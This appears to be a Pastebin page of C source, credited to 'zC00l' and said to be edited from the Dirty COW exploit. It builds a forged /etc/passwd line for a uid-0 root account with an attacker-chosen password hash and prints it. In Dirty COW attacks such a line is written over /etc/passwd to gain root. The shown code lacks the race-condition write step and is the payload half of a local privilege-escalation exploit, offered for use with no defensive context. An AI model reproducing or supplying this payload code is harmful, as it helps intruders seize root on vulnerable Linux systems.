Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Credits to zC00l; Edited using Dirty c0w exploit*/
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <crypt.h>
- #include <string.h>
- const char* salt = "zc00l";
- const char* common_passwd_file = "/etc/passwd";
- struct Userinfo {
- char *username;
- char *hash;
- int user_id;
- int group_id;
- char *info;
- char *home_dir;
- char *shell;
- };
- char *generate_password_hash(char *plaintext_pw) {
- return crypt(plaintext_pw, salt);
- }
- char *generate_passwd_line(struct Userinfo u) {
- const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
- int size = snprintf(NULL, 0, format, u.username, u.hash,
- u.user_id, u.group_id, u.info, u.home_dir, u.shell);
- char *ret = malloc(size + 1);
- sprintf(ret, format, u.username, u.hash, u.user_id,
- u.group_id, u.info, u.home_dir, u.shell);
- return ret;
- }
- int main(int argc, char **argv)
- {
- struct Userinfo user;
- user.username = "root";
- user.user_id = 0;
- user.group_id = 0;
- user.info = "root";
- user.home_dir = "/root";
- user.shell = "/bin/sh";
- char* plaintext_pw;
- if (argc >= 2) {
- plaintext_pw = argv[1];
- printf("Please enter the new password: %s\n", plaintext_pw);
- } else {
- plaintext_pw = getpass("Please enter the new password: ");
- }
- user.hash = generate_password_hash(plaintext_pw);
- char *complete_passwd_line = generate_passwd_line(user);
- strtok(complete_passwd_line, "\n");
- printf("User line: %s/", complete_passwd_line);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement